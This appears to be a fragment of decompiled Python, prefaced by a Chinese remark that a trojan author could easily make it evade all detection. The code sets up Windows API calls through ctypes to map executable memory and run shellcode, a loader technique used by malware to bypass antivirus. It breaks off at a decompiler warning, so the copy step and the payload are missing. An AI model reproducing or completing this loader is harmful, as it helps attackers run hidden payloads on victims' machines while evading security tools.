只要木马作者稍微修改下启动,可以全过。
INVALID_HANDLE_VALUE = -1
PAGE_EXECUTE_READWRITE = 64
FILE_MAP_WRITE = 2
FILE_MAP_EXECUTE = 32
MEM_COMMIT = 4096
MEM_RESERVE = 8192
kernel32 = ctypes.windll.kernel32
CreateFileMapping = kernel32.CreateFileMappingW
CreateFileMapping.argtypes = [
wintypes.HANDLE,
ctypes.c_void_p,
wintypes.DWORD,
wintypes.DWORD,
wintypes.DWORD,
wintypes.LPCWSTR]
CreateFileMapping.restype = wintypes.HANDLE
MapViewOfFile = kernel32.MapViewOfFile
MapViewOfFile.argtypes = [
wintypes.HANDLE,
wintypes.DWORD,
wintypes.DWORD,
wintypes.DWORD,
ctypes.c_size_t]
MapViewOfFile.restype = ctypes.c_void_p
UnmapViewOfFile = kernel32.UnmapViewOfFile
UnmapViewOfFile.argtypes = [
ctypes.c_void_p]
UnmapViewOfFile.restype = wintypes.BOOL
CloseHandle = kernel32.CloseHandle
CloseHandle.argtypes = [
wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL
def execute_shellcode(shellcode):
hMapObject = CreateFileMapping(INVALID_HANDLE_VALUE, None, PAGE_EXECUTE_READWRITE, 0, len(shellcode), None)
pAddress = MapViewOfFile(hMapObject, FILE_MAP_WRITE | FILE_MAP_EXECUTE, 0, 0, len(shellcode))
# WARNING: Decompyle incomplete
execute_shellcode(shellcode)
|